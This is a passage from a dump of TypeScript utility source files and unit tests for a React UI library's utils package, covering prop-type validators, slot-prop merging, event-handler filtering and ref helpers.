    "content": "import PropTypes from 'prop-types';\n\nexport function getTypeByValue(value: any): string {\n  const valueType = typeof value;\n  switch (valueType) {\n    case 'number':\n      if (Number.isNaN(value)) {\n        return 'NaN';\n      }\n      if (!Number.isFinite(value)) {\n        return 'Infinity';\n      }\n      if (value !== Math.floor(value)) {\n        return 'float';\n      }\n\n      return 'number';\n    case 'object':\n      if (value === null) {\n        return 'null';\n      }\n\n      return value.constructor.name;\n    default:\n      return valueType;\n  }\n}\n\nfunction requiredInteger(\n  props: Record<string, any>,\n  propName: string,\n  componentName: string,\n  location: string,\n): Error | null {\n  const propValue = props[propName];\n\n  if (propValue == null || !Number.isInteger(propValue)) {\n    const propType = getTypeByValue(propValue);\n\n    return new RangeError(\n      `Invalid ${location} \\`${propName}\\` of type \\`${propType}\\` supplied to \\`${componentName}\\`, expected \\`integer\\`.`,\n    );\n  }\n\n  return null;\n}\n\nfunction validator(\n  props: Record<string, any>,\n  propName: string,\n  componentName: string,\n  location: string,\n): Error | null {\n  const propValue = props[propName];\n\n  if (propValue === undefined) {\n    return null;\n  }\n\n  return requiredInteger(props, propName, componentName, location);\n}\n\nfunction validatorNoop(): null {\n  return null;\n}\n\nvalidator.isRequired = requiredInteger;\nvalidatorNoop.isRequired = validatorNoop;\n\nconst integerPropType: PropTypes.Requireable<number> =\n  process.env.NODE_ENV === 'production' ? validatorNoop : validator;\n\nexport default integerPropType;\n"
  },
  {
    "path": "packages/mui-utils/src/isFocusVisible/index.ts",
    "content": "export { default } from './isFocusVisible';\n"
  },
  {
    "path": "packages/mui-utils/src/isFocusVisible/isFocusVisible.ts",
    "content": "/**\n * Returns a boolean indicating if the event's target has :focus-visible\n */\nexport default function isFocusVisible(element: Element): boolean {\n  try {\n    return element.matches(':focus-visible');\n  } catch (error) {\n    // Do not warn on jsdom tests, otherwise all tests that rely on focus have to be skipped\n    // Tests that rely on `:focus-visible` will still have to be skipped in jsdom\n    if (process.env.NODE_ENV !== 'production' && !window.navigator.userAgent.includes('jsdom')) {\n      console.warn(\n        [\n          'MUI: The `:focus-visible` pseudo class is not supported in this browser.',\n          'Some components rely on this feature to work properly.',\n        ].join('\\n'),\n      );\n    }\n  }\n\n  return false;\n}\n"
  },
  {
    "path": "packages/mui-utils/src/isHostComponent/index.ts",
    "content": "export { default } from './isHostComponent';\n"
  },
  {
    "path": "packages/mui-utils/src/isHostComponent/isHostComponent.ts",
    "content": "import * as React from 'react';\n\n/**\n * Determines if a given element is a DOM element name (i.e. not a React component).\n */\nfunction isHostComponent(element: React.ElementType) {\n  return typeof element === 'string';\n}\n\nexport default isHostComponent;\n"
  },
  {
    "path": "packages/mui-utils/src/isMuiElement/index.ts",
    "content": "export { default } from './isMuiElement';\n"
  },
  {
    "path": "packages/mui-utils/src/isMuiElement/isMuiElement.ts",
    "content": "import * as React from 'react';\n\nexport default function isMuiElement(element: any, muiNames: readonly string[]): boolean {\n  return (\n    React.isValidElement(element) &&\n    muiNames.indexOf(\n      // For server components `muiName` is available in element.type._payload.value.muiName\n      // relevant info - https://github.com/facebook/react/blob/2807d781a08db8e9873687fccc25c0f12b4fb3d4/packages/react/src/ReactLazy.js#L45\n      // eslint-disable-next-line no-underscore-dangle\n      (element.type as any).muiName ?? (element.type as any)?._payload?.value?.muiName,\n    ) !== -1\n  );\n}\n"
  },
  {
    "path": "packages/mui-utils/src/isObjectEmpty/index.ts",
    "content": "export { default } from './isObjectEmpty';\n"
  },
  {
    "path": "packages/mui-utils/src/isObjectEmpty/isObjectEmpty.ts",
    "content": "export default function isObjectEmpty(object: any): boolean {\n  if (object == null) {\n    return true;\n  }\n  // eslint-disable-next-line\n  for (const _ in object) {\n    return false;\n  }\n  return true;\n}\n"
  },
  {
    "path": "packages/mui-utils/src/mergeSlotProps/index.ts",
    "content": "export { default } from './mergeSlotProps';\n\nexport type {\n  WithCommonProps,\n  MergeSlotPropsParameters,\n  MergeSlotPropsResult,\n} from './mergeSlotProps';\n"
  },
  {
    "path": "packages/mui-utils/src/mergeSlotProps/mergeSlotProps.test.ts",
    "content": "import * as React from 'react';\nimport { expect } from 'chai';\nimport { EventHandlers } from '@mui/utils/types';\nimport mergeSlotProps from '@mui/utils/mergeSlotProps';\n\ndescribe('mergeSlotProps', () => {\n  it('overrides the internal props with the external ones', () => {\n    const getSlotProps = () => ({\n      prop1: 'internal',\n      prop2: 'internal',\n      prop3: 'internal',\n      prop4: 'internal',\n    });\n\n    const additionalProps = {\n      prop1: 'additional',\n      prop2: 'additional',\n      prop3: 'additional',\n    };\n\n    const externalForwardedProps = {\n      prop1: 'externalForwarded',\n      prop2: 'externalForwarded',\n    };\n\n    const externalSlotProps = {\n      prop1: 'externalSlot',\n    };\n\n    const merged = mergeSlotProps({\n      getSlotProps,\n      additionalProps,\n      externalForwardedProps,\n      externalSlotProps,\n    });\n\n    expect(merged.props.prop1).to.equal('externalSlot');\n    expect(merged.props.prop2).to.equal('externalForwarded');\n    expect(merged.props.prop3).to.equal('additional');\n    expect(merged.props.prop4).to.equal('internal');\n  });\n\n  describe('it joins all class names in order from least to most important', () => {\n    it('when internal classNames from getSlotProps are included', () => {\n      const getSlotProps = () => ({\n        className: 'internal',\n      });\n\n      const additionalProps = {\n        className: 'additional',\n      };\n\n      const externalForwardedProps = {\n        className: 'externalForwarded',\n      };\n\n      const externalSlotProps = {\n        className: 'externalSlot',\n      };\n\n      const className = ['class1', 'class2'];\n\n      const merged = mergeSlotProps({\n        getSlotProps,\n        additionalProps,\n        externalForwardedProps,\n        externalSlotProps,\n        className,\n      });\n\n      expect(merged.props.className).to.equal(\n        'internal additional class1 class2 externalForwarded externalSlot',\n      );\n    });\n\n    it('when getSlotProps is not present', () => {\n      const additionalProps = {\n        className: 'additional',\n      };\n\n      const externalForwardedProps = {\n        className: 'externalForwarded',\n      };\n\n      const externalSlotProps = {\n        className: 'externalSlot',\n      };\n\n      const className = ['class1', 'class2'];\n\n      const merged = mergeSlotProps({\n        additionalProps,\n        externalForwardedProps,\n        externalSlotProps,\n        className,\n      });\n\n      expect(merged.props.className).to.equal(\n        'additional class1 class2 externalForwarded externalSlot',\n      );\n    });\n  });\n\n  it('merges the style props', () => {\n    const getSlotProps = () => ({\n      style: {\n        fontSize: '12px',\n        textAlign: 'center' as const,\n      },\n    });\n\n    const additionalProps = {\n      style: {\n        fontSize: '14px',\n        color: 'red',\n      },\n    };\n\n    const externalForwardedProps = {\n      style: {\n        fontWeight: 500,\n      },\n    };\n\n    const externalSlotProps = {\n      style: {\n        textDecoration: 'underline',\n      },\n    };\n\n    const merged = mergeSlotProps({\n      getSlotProps,\n      additionalProps,\n      externalForwardedProps,\n      externalSlotProps,\n    });\n\n    expect(merged.props.style).to.deep.equal({\n      textAlign: 'center',\n      color: 'red',\n      fontSize: '14px',\n      fontWeight: 500,\n      textDecoration: 'underline',\n    });\n  });\n\n  it('returns the ref returned from the getSlotProps function', () => {\n    const ref = React.createRef();\n    const getSlotProps = () => ({\n      ref,\n    });\n\n    const merged = mergeSlotProps({\n      getSlotProps,\n    });\n\n    expect(merged.internalRef).to.equal(ref);\n  });\n\n  it('does not require any parameters', () => {\n    const merged = mergeSlotProps({});\n    expect(merged.props).to.deep.equal({});\n  });\n\n  it('passes the external event handlers to the getSlotProps function (if defined)', () => {\n    const externalClickHandler = () => {};\n    const externalMouseOverHandler = () => {};\n\n    const getSlotProps = (eventHandlers: EventHandlers) => {\n      expect(eventHandlers.onClick).to.equal(externalClickHandler);\n      expect(eventHandlers.onMouseOver).to.equal(externalMouseOverHandler);\n      return {};\n    };\n\n    const externalForwardedProps = {\n      onClick: externalClickHandler,\n    };\n\n    const externalSlotProps = {\n      onMouseOver: externalMouseOverHandler,\n    };\n\n    const merged = mergeSlotProps({\n      getSlotProps,\n      externalForwardedProps,\n      externalSlotProps,\n    });\n\n    expect(Object.keys(merged.props)).not.to.contain('onClick');\n    expect(Object.keys(merged.props)).not.to.contain('onMouseOver');\n  });\n});\n"
  },
  {
    "path": "packages/mui-utils/src/mergeSlotProps/mergeSlotProps.ts",
    "content": "import * as React from 'react';\nimport clsx, { ClassValue } from 'clsx';\nimport { Simplify } from '@mui/types';\nimport { EventHandlers } from '../types';\nimport extractEventHandlers from '../extractEventHandlers';\nimport omitEventHandlers from '../omitEventHandlers';\n\nexport type WithCommonProps<OtherProps> = OtherProps & {\n  className?: string | undefined;\n  style?: React.CSSProperties | undefined;\n  ref?: React.Ref<any> | undefined;\n};\n\nexport interface MergeSlotPropsParameters<\n  SlotProps,\n  ExternalForwardedProps,\n  ExternalSlotProps,\n  AdditionalProps,\n> {\n  /**\n   * A function that returns the internal props of the component.\n   * It accepts the event handlers passed into the component by the user\n   * and is responsible for calling them where appropriate.\n   */\n  getSlotProps?: ((other: EventHandlers) => WithCommonProps<SlotProps>) | undefined;\n  /**\n   * Props provided to the `slotProps.*` of the Base UI component.\n   */\n  externalSlotProps?: WithCommonProps<ExternalSlotProps> | undefined;\n  /**\n   * Extra props placed on the Base UI component that should be forwarded to the slot.\n   * This should usually be used only for the root slot.\n   */\n  externalForwardedProps?: WithCommonProps<ExternalForwardedProps> | undefined;\n  /**\n   * Additional props to be placed on the slot.\n   */\n  additionalProps?: WithCommonProps<AdditionalProps> | undefined;\n  /**\n   * Extra class name(s) to be placed on the slot.\n   */\n  className?: ClassValue | ClassValue[] | undefined;\n}\n\nexport type MergeSlotPropsResult<\n  SlotProps,\n  ExternalForwardedProps,\n  ExternalSlotProps,\n  AdditionalProps,\n> = {\n  props: Simplify<\n    SlotProps &\n      ExternalForwardedProps &\n      ExternalSlotProps &\n      AdditionalProps & { className?: string | undefined; style?: React.CSSProperties | undefined }\n  >;\n  internalRef: React.Ref<any> | undefined;\n};\n\n/**\n * Merges the slot component internal props (usually coming from a hook)\n * with the externally provided ones.\n *\n * The merge order is (the latter overrides the former):\n * 1. The internal props (specified as a getter function to work with get*Props hook result)\n * 2. Additional props (specified internally on a Base UI component)\n * 3. External props specified on the owner component. These should only be used on a root slot.\n * 4. External props specified in the `slotProps.*` prop.\n * 5. The `className` prop - combined from all the above.\n * @param parameters\n * @returns\n */\nfunction mergeSlotProps<\n  SlotProps,\n  ExternalForwardedProps extends Record<string, unknown>,\n  ExternalSlotProps extends Record<string, unknown>,\n  AdditionalProps,\n>(\n  parameters: MergeSlotPropsParameters<\n    SlotProps,\n    ExternalForwardedProps,\n    ExternalSlotProps,\n    AdditionalProps\n  >,\n): MergeSlotPropsResult<SlotProps, ExternalForwardedProps, ExternalSlotProps, AdditionalProps> {\n  const { getSlotProps, additionalProps, externalSlotProps, externalForwardedProps, className } =\n    parameters;\n\n  if (!getSlotProps) {\n    // The simpler case - getSlotProps is not defined, so no internal event handlers are defined,\n    // so we can simply merge all the props without having to worry about extracting event handlers.\n    const joinedClasses = clsx(\n      additionalProps?.className,\n      className,\n      externalForwardedProps?.className,\n      externalSlotProps?.className,\n    );\n\n    const mergedStyle = {\n      ...additionalProps?.style,\n      ...externalForwardedProps?.style,\n      ...externalSlotProps?.style,\n    };\n\n    const props = {\n      ...additionalProps,\n      ...externalForwardedProps,\n      ...externalSlotProps,\n    } as MergeSlotPropsResult<\n      SlotProps,\n      ExternalForwardedProps,\n      ExternalSlotProps,\n      AdditionalProps\n    >['props'];\n\n    if (joinedClasses.length > 0) {\n      props.className = joinedClasses;\n    }\n\n    if (Object.keys(mergedStyle).length > 0) {\n      props.style = mergedStyle;\n    }\n\n    return {\n      props,\n      internalRef: undefined,\n    };\n  }\n\n  // In this case, getSlotProps is responsible for calling the external event handlers.\n  // We don't need to include them in the merged props because of this.\n\n  const eventHandlers = extractEventHandlers({ ...externalForwardedProps, ...externalSlotProps });\n  const componentsPropsWithoutEventHandlers = omitEventHandlers(externalSlotProps);\n  const otherPropsWithoutEventHandlers = omitEventHandlers(externalForwardedProps);\n\n  const internalSlotProps = getSlotProps(eventHandlers);\n\n  // The order of classes is important here.\n  // Emotion (that we use in libraries consuming Base UI) depends on this order\n  // to properly override style. It requires the most important classes to be last\n  // (see https://github.com/mui/material-ui/pull/33205) for the related discussion.\n  const joinedClasses = clsx(\n    internalSlotProps?.className,\n    additionalProps?.className,\n    className,\n    externalForwardedProps?.className,\n    externalSlotProps?.className,\n  );\n\n  const mergedStyle = {\n    ...internalSlotProps?.style,\n    ...additionalProps?.style,\n    ...externalForwardedProps?.style,\n    ...externalSlotProps?.style,\n  };\n\n  const props = {\n    ...internalSlotProps,\n    ...additionalProps,\n    ...otherPropsWithoutEventHandlers,\n    ...componentsPropsWithoutEventHandlers,\n  } as MergeSlotPropsResult<\n    SlotProps,\n    ExternalForwardedProps,\n    ExternalSlotProps,\n    AdditionalProps\n  >['props'];\n\n  if (joinedClasses.length > 0) {\n    props.className = joinedClasses;\n  }\n\n  if (Object.keys(mergedStyle).length > 0) {\n    props.style = mergedStyle;\n  }\n\n  return {\n    props,\n    internalRef: internalSlotProps.ref,\n  };\n}\n\nexport default mergeSlotProps;\n"
  },
  {
    "path": "packages/mui-utils/src/omitEventHandlers/index.ts",
    "content": "export { default } from './omitEventHandlers';\n"
  },
  {
    "path": "packages/mui-utils/src/omitEventHandlers/omitEventHandlers.test.ts",
    "content": "import { expect } from 'chai';\nimport omitEventHandlers from '@mui/utils/omitEventHandlers';\n\ndescribe('omitEventHandlers', () => {\n  it('should remove functions with names beginning with `on` followed by uppercase letter', () => {\n    const obj = {\n      onClick: () => {},\n      onKeyDown: () => {},\n      foo: 12,\n      bar: 'baz',\n      onion: {},\n      once: () => {},\n      on2: () => {},\n      on: () => {},\n    };\n\n    const result = omitEventHandlers(obj);\n\n    expect(result).to.haveOwnProperty('foo');\n    expect(result).to.haveOwnProperty('bar');\n    expect(result).to.haveOwnProperty('onion');\n    expect(result).to.haveOwnProperty('once');\n    expect(result).to.haveOwnProperty('on2');\n    expect(result).to.haveOwnProperty('on');\n\n    expect(result).to.not.haveOwnProperty('onClick');\n    expect(result).to.not.haveOwnProperty('onKeyDown');\n  });\n});\n"
  },
  {
    "path": "packages/mui-utils/src/omitEventHandlers/omitEventHandlers.ts",
    "content": "/**\n * Removes event handlers from the given object.\n * A field is considered an event handler if it is a function with a name beginning with `on`.\n *\n * @param object Object to remove event handlers from.\n * @returns Object with event handlers removed.\n */\nfunction omitEventHandlers<Props extends Record<string, unknown>>(object: Props | undefined) {\n  if (object === undefined) {\n    return {};\n  }\n\n  const result = {} as Partial<Props>;\n\n  Object.keys(object)\n    .filter((prop) => !(prop.match(/^on[A-Z]/) && typeof object[prop] === 'function'))\n    .forEach((prop) => {\n      (result[prop] as any) = object[prop];\n    });\n\n  return result;\n}\n\nexport default omitEventHandlers;\n"
  },
  {
    "path": "packages/mui-utils/src/ownerDocument/index.ts",
    "content": "export { default } from './ownerDocument';\n"
  },
  {
    "path": "packages/mui-utils/src/ownerDocument/ownerDocument.ts",
    "content": "export default function ownerDocument(node: Node | null | undefined): Document {\n  return (node && node.ownerDocument) || document;\n}\n"
  },
  {
    "path": "packages/mui-utils/src/ownerWindow/index.ts",
    "content": "export { default } from './ownerWindow';\n"
  },
  {
    "path": "packages/mui-utils/src/ownerWindow/ownerWindow.ts",
    "content": "import ownerDocument from '../ownerDocument';\n\nexport default function ownerWindow(node: Node | undefined): Window {\n  const doc = ownerDocument(node);\n  return doc.defaultView || window;\n}\n"
  },
  {
    "path": "packages/mui-utils/src/ponyfillGlobal/index.ts",
    "content": "export { default } from './ponyfillGlobal';\n"
  },
  {
    "path": "packages/mui-utils/src/ponyfillGlobal/ponyfillGlobal.ts",
    "content": "/* eslint-disable */\n/**\n * https://github.com/zloirock/core-js/issues/86#issuecomment-115759028\n * @deprecated Use `globalThis` instead.\n */\nexport default typeof window != 'undefined' && window.Math == Math\n  ? window\n  : typeof self != 'undefined' && self.Math == Math\n    ? self\n    : Function('return this')();\n"
  },
  {
    "path": "packages/mui-utils/src/refType/index.ts",
    "content": "export { default } from './refType';\n"
  },
  {
    "path": "packages/mui-utils/src/refType/refType.ts",
    "content": "import PropTypes from 'prop-types';\n\nconst refType = PropTypes.oneOfType([PropTypes.func, PropTypes.object]);\n\nexport default refType;\n"
  },
  {
    "path": "packages/mui-utils/src/requirePropFactory/index.ts",
    "content": "export { default } from './requirePropFactory';\n"
  },
  {
    "path": "packages/mui-utils/src/requirePropFactory/requirePropFactory.test.tsx",
    "content": "import PropTypes from 'prop-types';\nimport { expect } from 'chai';\nimport requirePropFactory from './requirePropFactory';\n\ndescribe('requirePropFactory', () => {\n  const componentNameInError = 'componentNameInError';\n  let requireProp: (prop: string) => PropTypes.Validator<any>;\n\n  beforeAll(() => {\n    requireProp = requirePropFactory(componentNameInError);\n  });\n\n  it('should have the right shape', () => {\n    expect(typeof requirePropFactory).to.equal('function');\n    expect(typeof requireProp).to.equal('function');\n  });\n\n  describe('requireProp()', () => {\n    const requiredPropName = 'requiredPropName';\n\n    let requirePropValidator: PropTypes.Validator<any>;\n\n    beforeAll(() => {\n      requirePropValidator = requireProp(requiredPropName);\n    });\n\n    it('should return a function', () => {\n      expect(typeof requirePropValidator).to.equal('function');\n    });\n\n    describe('requirePropValidator', () => {\n      let props: Record<string, unknown>;\n      let propName: string;\n\n      beforeEach(() => {\n        PropTypes.resetWarningCache();\n      });\n\n      it('should not warn for propName not in props', () => {\n        propName = 'propName';\n        props = {};\n\n        expect(() => {\n          PropTypes.checkPropTypes(\n            {\n              [propName]: requirePropValidator,\n            },\n            props,\n            'prop',\n            componentNameInError,\n          );\n        }).not.toErrorDev();\n      });\n\n      it('should not warn for propName and requiredProp in props', () => {\n        propName = 'propName';\n        props = {};\n        props[propName] = true;\n        props[requiredPropName] = true;\n\n        expect(() => {\n          PropTypes.checkPropTypes(\n            {\n              [propName]: requirePropValidator,\n            },\n            props,\n            'prop',\n            componentNameInError,\n          );\n        }).not.toErrorDev();\n      });\n\n      describe('propName is in props and requiredProp not in props', () => {\n        let result: Error | null;\n\n        beforeAll(() => {\n          props = {};\n          propName = 'propName';\n          props[propName] = true;\n          delete props[requiredPropName];\n          // @ts-expect-error The validator should be called with the right arguments\n          result = requirePropValidator(props, propName, undefined, undefined, undefined);\n        });\n\n        it('should return Error', () => {\n          expect(() => {\n            PropTypes.checkPropTypes(\n              {\n                [propName]: requirePropValidator,\n              },\n              props,\n              'prop',\n              componentNameInError,\n            );\n          }).toErrorDev(\n            'Warning: Failed prop type: The prop `propName` of `componentNameInError` can only be used together with the `requiredPropName` prop.',\n          );\n        });\n\n        describe('propFullName given to validator', () => {\n          let propFullName: string;\n\n          beforeAll(() => {\n            propFullName = 'propFullName';\n            // @ts-expect-error The validator should be called with the right arguments\n            result = requirePropValidator(props, propName, undefined, undefined, propFullName);\n          });\n\n          it('returned error message should have propFullName', () => {\n            expect(result!.message.includes(propFullName)).to.equal(true);\n          });\n\n          it('returned error message should not have propName', () => {\n            expect(result!.message.includes(propName)).to.equal(false);\n          });\n        });\n      });\n\n      it('should work with chained proptypes coming from the default props', () => {\n        function Test() {\n          return null;\n        }\n        Test.propTypes = {\n          test: PropTypes.string,\n        };\n\n        const localProps: Record<string, unknown> = {};\n        const localPropName = 'test';\n        localProps[localPropName] = 'string';\n\n        const updatedPropChecker = requirePropFactory('Test', Test);\n\n        expect(() => {\n          PropTypes.checkPropTypes(\n            {\n              [localPropName]: updatedPropChecker('otherProp'),\n            },\n            localProps,\n            'prop',\n            'Test',\n          );\n        }).toErrorDev([\n          'Warning: Failed prop type: The prop `test` of `Test` can only be used together with the `otherProp` prop.',\n        ]);\n      });\n\n      it('should validate default prop types coming from the component', () => {\n        function Test() {\n          return null;\n        }\n        Test.propTypes = {\n          test: PropTypes.string,\n        };\n\n        const localProps: Record<string, unknown> = {};\n        const localPropName = 'test';\n        localProps[localPropName] = true;\n\n        const updatedPropChecker = requirePropFactory('Test', Test);\n\n        expect(() => {\n          PropTypes.checkPropTypes(\n            {\n              [localPropName]: updatedPropChecker('otherProp'),\n            },\n            localProps,\n            'prop',\n            'Test',\n          );\n        }).toErrorDev([\n          'Warning: Failed prop type: Invalid prop `test` of type `boolean` supplied to `Test`, expected `string`.',\n        ]);\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-utils/src/requirePropFactory/requirePropFactory.ts",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\n\nexport default function requirePropFactory(\n  componentNameInError: string,\n  Component?: React.ComponentType<unknown>,\n): (requiredProp: string) => PropTypes.Validator<any> {\n  if (process.env.NODE_ENV === 'production') {\n    return () => () => null;\n  }\n\n  // eslint-disable-next-line react/forbid-foreign-prop-types\n  const prevPropTypes = Component ? { ...Component.propTypes } : null;\n\n  const requireProp =\n    (requiredProp: string): PropTypes.Validator<any> =>\n    (props, propName, componentName, location, propFullName, ...args) => {\n      const propFullNameSafe = propFullName || propName;\n\n      const defaultTypeChecker = prevPropTypes?.[propFullNameSafe];\n\n      if (defaultTypeChecker) {\n        const typeCheckerResult = defaultTypeChecker(\n          props,\n          propName,\n          componentName,\n          location,\n          propFullName,\n          ...args,\n        );\n        if (typeCheckerResult) {\n          return typeCheckerResult;\n        }\n      }\n\n      if (typeof props[propName] !== 'undefined' && !props[requiredProp]) {\n        return new Error(\n          `The prop \\`${propFullNameSafe}\\` of ` +\n            `\\`${componentNameInError}\\` can only be used together with the \\`${requiredProp}\\` prop.`,\n        );\n      }\n\n      return null;\n    };\n  return requireProp;\n}\n"
  },
  {
    "path": "packages/mui-utils/src/resolveComponentProps/index.ts",
    "content": "export { default } from './resolveComponentProps';\n"
  },
  {
    "path": "packages/mui-utils/src/resolveComponentProps/resolveComponentProps.ts",
    "content": "/**\n * If `componentProps` is a function, calls it with the provided `ownerState`.\n * Otherwise, just returns `componentProps`.\n */\nfunction resolveComponentProps<TProps, TOwnerState, TSlotState>(\n  componentProps:\n    | TProps\n    | ((ownerState: TOwnerState, slotState?: TSlotState) => TProps)\n    | undefined,\n  ownerState: TOwnerState,\n  slotState?: TSlotState,\n): TProps | undefined {\n  if (typeof componentProps === 'function') {\n    return (componentProps as (ownerState: TOwnerState, slotState?: TSlotState) => TProps)(\n      ownerState,\n      slotState,\n    );\n  }\n\n  return componentProps;\n}\n\nexport default resolveComponentProps;\n"
  },
  {
    "path": "packages/mui-utils/src/resolveProps/index.ts",
    "content": "export { default } from './resolveProps';\n"
  },
  {
    "path": "packages/mui-utils/src/resolveProps/resolveProps.test.ts",
    "content": "import { expect } from 'chai';\nimport resolveProps from './resolveProps';\n\ndescribe('resolveProps', () => {\n  it('use default props if no props', () => {\n    expect(resolveProps({ foo: 'foo' }, {})).to.deep.equal({\n      foo: 'foo',\n    });\n  });\n\n  it('use props if defined', () => {\n    expect(resolveProps({ foo: 'foo' }, { foo: 'bar' })).to.deep.equal({\n      foo: 'bar',\n    });\n  });\n\n  it('merge extra props', () => {\n    expect(resolveProps({ foo: 'foo' }, { foo: 'bar', bar: 'bar' })).to.deep.equal({\n      foo: 'bar',\n      bar: 'bar',\n    });\n  });\n\n  it('use default props if prop value is undefined', () => {\n    expect(resolveProps({ foo: 'foo' }, { foo: undefined })).to.deep.equal({\n      foo: 'foo',\n    });\n  });\n\n  it('use props if default value is undefined', () => {\n    expect(resolveProps({ foo: undefined }, { foo: 'bar' })).to.deep.equal({\n      foo: 'bar',\n    });\n  });\n\n  it('null is a considered a valid value', () => {\n    expect(resolveProps({ foo: 'foo' }, { foo: null })).to.deep.equal({\n      foo: null,\n    });\n  });\n\n  it('\"\" is a considered a valid value', () => {\n    expect(resolveProps({ foo: 'foo' }, { foo: '' })).to.deep.equal({\n      foo: '',\n    });\n  });\n\n  it('merge components and componentsProps props', () => {\n    expect(\n      resolveProps(\n        { components: { Input: 'Input' }, componentsProps: { input: { className: 'input' } } },\n        {\n          components: { Root: 'Root' },\n          componentsProps: { root: { className: 'root' }, input: { style: { color: 'red' } } },\n        },\n      ),\n    ).to.deep.equal({\n      components: { Root: 'Root', Input: 'Input' },\n      componentsProps: {\n        root: { className: 'root' },\n        input: { className: 'input', style: { color: 'red' } },\n      },\n    });\n  });\n\n  it('merge slots and slotProps props', () => {\n    expect(\n      resolveProps(\n        { slots: { input: 'input' }, slotProps: { input: { className: 'input' } } },\n        {\n          slots: { root: 'root' },\n          slotProps: { root: { className: 'root' }, input: { style: { color: 'red' } } },\n        },\n      ),\n    ).to.deep.equal({\n      slots: { root: 'root', input: 'input' },\n      slotProps: {\n        root: { className: 'root' },\n        input: { className: 'input', style: { color: 'red' } },\n      },\n    });\n  });\n\n  it('should not merge props that are not intended', () => {\n    expect(\n      resolveProps(\n        { notTheSlotProps: { style: { color: 'red' } } },\n        { notTheSlotProps: { className: 'input' } },\n      ),\n    ).to.deep.equal({\n      notTheSlotProps: { className: 'input' },\n    });\n  });\n\n  describe('param: mergeClassNameAndStyle', () => {\n    it('merge className and style props', () => {\n      expect(\n        resolveProps(\n          { className: 'input1', style: { color: 'red' } },\n          { className: 'input2', style: { backgroundColor: 'blue' } },\n          true,\n        ),\n      ).to.deep.equal({\n        className: 'input1 input2',\n        style: { color: 'red', backgroundColor: 'blue' },\n      });\n    });\n\n    it('merge className props', () => {\n      expect(resolveProps({ className: 'input1' }, { className: 'input2' }, true)).to.deep.equal({\n        className: 'input1 input2',\n      });\n\n      expect(resolveProps({ className: 'input1' }, {}, true)).to.deep.equal({\n        className: 'input1',\n      });\n\n      expect(resolveProps({}, { className: 'input2' }, true)).to.deep.equal({\n        className: 'input2',\n      });\n    });\n\n    it('merge style props', () => {\n      expect(\n        resolveProps({ style: { color: 'red' } }, { style: { backgroundColor: 'blue' } }, true),\n      ).to.deep.equal({\n        style: { color: 'red', backgroundColor: 'blue' },\n      });\n\n      expect(resolveProps({ style: { color: 'red' } }, {}, true)).to.deep.equal({\n        style: { color: 'red' },\n      });\n\n      expect(resolveProps({}, { style: { backgroundColor: 'blue' } }, true)).to.deep.equal({\n        style: { backgroundColor: 'blue' },\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-utils/src/resolveProps/resolveProps.ts",
    "content": "import clsx from 'clsx';\n\n/**\n * Add keys, values of `defaultProps` that does not exist in `props`\n * @param defaultProps\n * @param props\n * @param mergeClassNameAndStyle If `true`, merges `className` and `style` props instead of overriding them.\n *   When `false` (default), props override defaultProps. When `true`, `className` values are concatenated\n *   and `style` objects are merged with props taking precedence.\n * @returns resolved props\n */\nexport default function resolveProps<\n  T extends {\n    components?: Record<string, unknown> | undefined;\n    componentsProps?: Record<string, unknown> | undefined;\n    slots?: Record<string, unknown> | undefined;\n    slotProps?: Record<string, unknown> | undefined;\n    className?: string | undefined;\n    style?: React.CSSProperties | undefined;\n  } & Record<string, unknown>,\n>(defaultProps: T, props: T, mergeClassNameAndStyle: boolean = false) {\n  const output = { ...props };\n\n  for (const key in defaultProps) {\n    if (Object.prototype.hasOwnProperty.call(defaultProps, key)) {\n      const propName = key as keyof T;\n\n      if (propName === 'components' || propName === 'slots') {\n        output[propName] = {\n          ...(defaultProps[propName] as any),\n          ...(output[propName] as any),\n        };\n      } else if (propName === 'componentsProps' || propName === 'slotProps') {\n        const defaultSlotProps = defaultProps[propName] as T[keyof T] | undefined;\n        const slotProps = props[propName] as {} as T[keyof T] | undefined;\n\n        if (!slotProps) {\n          output[propName] = defaultSlotProps || ({} as T[keyof T]);\n        } else if (!defaultSlotProps) {\n          output[propName] = slotProps;\n        } else {\n          output[propName] = { ...slotProps };\n\n          for (const slotKey in defaultSlotProps) {\n            if (Object.prototype.hasOwnProperty.call(defaultSlotProps, slotKey)) {\n              const slotPropName = slotKey;\n              (output[propName] as Record<string, unknown>)[slotPropName] = resolveProps(\n                (defaultSlotProps as Record<string, any>)[slotPropName],\n                (slotProps as Record<string, any>)[slotPropName],\n                mergeClassNameAndStyle,\n              );\n            }\n          }\n        }\n      } else if (propName === 'className' && mergeClassNameAndStyle && props.className) {\n        output.className = clsx(defaultProps?.className, props?.className);\n      } else if (propName === 'style' && mergeClassNameAndStyle && props.style) {\n        output.style = {\n          ...defaultProps?.style,\n          ...props?.style,\n        };\n      } else if (output[propName] === undefined) {\n        output[propName] = defaultProps[propName];\n      }\n    }\n  }\n\n  return output;\n}\n"
  },
  {
    "path": "packages/mui-utils/src/setRef/index.ts",
    "content": "export { default } from './setRef';\n"
  },
  {
    "path": "packages/mui-utils/src/setRef/setRef.spec.tsx",
    "content": "import * as React from 'react';\nimport setRef from './setRef';\n\nfunction MyRef() {\n  const ref = React.useRef<HTMLDivElement>(null);\n\n  const handleRef = React.useCallback((node: HTMLDivElement) => {\n    setRef(ref, node);\n  }, []);\n\n  return <div ref={handleRef} />;\n}\n"
  },
  {
    "path": "packages/mui-utils/src/setRef/setRef.test.ts",
    "content": "import * as React from 'react';\nimport { expect } from 'chai';\nimport { spy } from 'sinon';\nimport setRef from './setRef';\n\ndescribe('setRef', () => {\n  it('can handle callback refs', () => {\n    const ref = spy();\n    const instance = 'proxy';\n\n    setRef(ref, instance);\n\n    expect(ref.called).to.equal(true);\n    expect(ref.firstCall.args[0]).to.equal(instance);\n  });\n\n  it('can handle ref objects', () => {\n    const ref = React.createRef();\n    const instance = 'proxy';\n\n    setRef(ref, instance);\n\n    expect(ref.current).to.equal(instance);\n  });\n\n  it('ignores falsy refs without errors', () => {\n    const instance = 'proxy';\n\n    // all no-ops\n    setRef(undefined, instance);\n    setRef(null, instance);\n  });\n\n  it('throws on legacy string refs', () => {\n    // @ts-ignore\n    expect(() => setRef('stringRef1', 'proxy')).to.throw();\n  });\n});\n"
  },
  {
    "path": "packages/mui-utils/src/setRef/setRef.ts",
